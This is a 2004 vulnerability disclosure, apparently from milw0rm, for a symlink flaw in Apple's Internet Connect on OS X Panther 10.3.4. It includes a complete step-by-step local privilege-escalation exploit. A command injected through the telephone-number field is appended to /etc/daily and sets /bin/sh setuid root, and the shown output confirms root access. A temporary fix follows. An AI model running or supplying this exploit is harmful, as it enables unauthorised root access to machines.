Date: 25.07.2004 Author: B-r00t. 2004. Email: B-r00t Vendor: Apple Operating System: OSX Panther (Possibly Previous Versions). Application: Internet Connect.app Tested: Panther 10.3.4 (Internet Connect v1.3) Problem: Internet Connect allows any file on the file system to be altered. Status: 0day! - Temporary Fix Included. Description: Apples Internet Connect application creates a 'ppp.log' file in '/tmp/'. If the file already exists it is opened in append mode. If it does not exist a new file is created. It is possible to trick Internet Connect into appending data to any file on the filesystem by creating a symlink file '/tmp/ppp.log' pointing to the file to be altered. If the file '/tmp/ppp.log' already exists, the attack is not possible as the file is owned by user 'root' and group 'wheel': - $ ls -l /tmp/ppp.log -rw-r--r-- 1 root wheel 807 24 Jul 23:44 /tmp/ppp.log However, due to the Operating System clearing the '/tmp' directory during system startup and also on a regular basis due to system maintenance, it becomes possible to form the attack as shown below: First a file is created to represent a system file, owned and only writable by user 'root'. maki:~ # echo "TEST" > /etc/file_owned_by_root maki:~ # ls -l /etc/file_owned_by_root -rw-r--r-- 1 root wheel 5 25 Jul 00:09 /etc/ file_owned_by_root maki:~ # cat /etc/file_owned_by_root TEST A symlink is now created in the '/tmp' directory to point to the file to be altered. It is important to realise that the link can be created as a none 'admin' or 'root' user. maki:/tmp $ id uid=502(br00t) gid=502(br00t) groups=502(br00t) maki:/tmp $ ln -s /etc/file_owned_by_root ppp.log maki:/tmp $ ls -l ./ppp.log lrwxr-xr-x 1 root wheel 23 25 Jul 00:11 ./ppp.log@ -> / etc/file_owned_by_root Now Internet Connect is opened. Under 'configuration' choose 'Other'. Enter some text into the 'Telephone Number' box (B-r00t r0x y3r w0rld!) and click 'Connect'. 'Cancel' can be clicked several seconds later. Checking the original file '/etc/file_owned_by_root' we see the following: - maki:~ $ cat /etc/file_owned_by_root TEST Sun Jul 25 00:20:42 2004 : Version 2.0 Sun Jul 25 00:20:43 2004 : Dialing B-r00t r0x y3r w0rld! Sun Jul 25 00:20:54 2004 : Terminating on signal 15. Sun Jul 25 00:20:58 2004 : Serial link disconnected. As can be seen, data has been appended to the 'protected' file. Impact: It is possible for a local user to escalate their privileges by appending data to specific system files. In addition, a malicious user may be able to render the machine unusable by corrupting important system files. Exploit: This demonstration appends commands to the '/etc/daily' file which is executed by default at 3:15AM each day. An alternative attack might involve appending to any of the files that are sourced at system start up such as '/etc/rc.common'. This latter method is convenient if the user is able to reboot the machine. Create our link maki:~ $ ln -s /etc/daily /tmp/ppp.log Open Internet Connect. Internal Modem -> Configuration -> Other Internet Connect only allows certain characters to be used for the telephone number. The background '&' character allows our command string to execute amongst the time and date strings also appended. Telephone Number: & cd .. && cd .. && cd .. && cd .. && cd bin && chmod 4755 sh & Click 'Connect' ...*wait (10secs) ... 'Cancel' Check the '/etc/daily' file. maki:~ $ tail /etc/daily if [ -f /etc/security ]; then echo "" echo "Running security:" sh /etc/security 2>&1 | sendmail root fi Sun Jul 25 03:10:11 2004 : Version 2.0 Sun Jul 25 03:10:11 2004 : Dialing & cd .. && cd .. && cd .. && cd .. && cd bin && chmod 4755 sh & Sun Jul 25 03:10:15 2004 : Terminating on signal 15. Sun Jul 25 03:10:17 2004 : Serial link disconnected. Now sit back and wait for cron to execute '/etc/daily' at 03: 15AM. maki:~ $ date Sun Jul 25 03:13:43 CEST 2004 maki:~ $ cd /bin maki:/bin $ ls -l sh -r-xr-xr-x 1 root wheel 603488 25 Jun 09:39 sh* maki:/bin $ date Sun Jul 25 03:15:50 CEST 2004 maki:/bin $ ls -l sh -rwsr-xr-x 1 root wheel 603488 25 Jun 09:39 sh* maki:/bin $ sh maki:/bin # id uid=502(br00t) euid=0(root) gid=502(br00t) groups=502(br00t) All thats left to do is clean up '/etc/daily' and remove the link '/tmp/ppp.log' FIX: The following commands serve to provide a temporary fix until Apple release an official update. Open a terminal: /Applications/Utilities/Terminal.app Gain root access using 'sudo': maki:~ $ sudo sh Password:[YOUR PASSWORD] maki:~ # whoami root You can copy and paste the following commands: - /usr/bin/touch /tmp/ppp.log echo '/usr/bin/touch /tmp/ppp.log' >> /etc/daily echo '/usr/bin/touch /tmp/ppp.log' >> /etc/rc.common These commands ensure that a '/tmp/ppp.log' file is present to prevent a user from creating a link as shown above. Alternatively the line: /usr/bin/touch /tmp/ppp.log can be added to each file '/etc/daily' and '/etc/rc.common' manually using an editor and root privileges. Shoutz: Marshal-L, Ruxsaw, Haggis & Kraft. s1, Blex & the old #cheese posse (RIP). Maz ... Good Luck For The Wedding! # milw0rm.com [2004-07-28]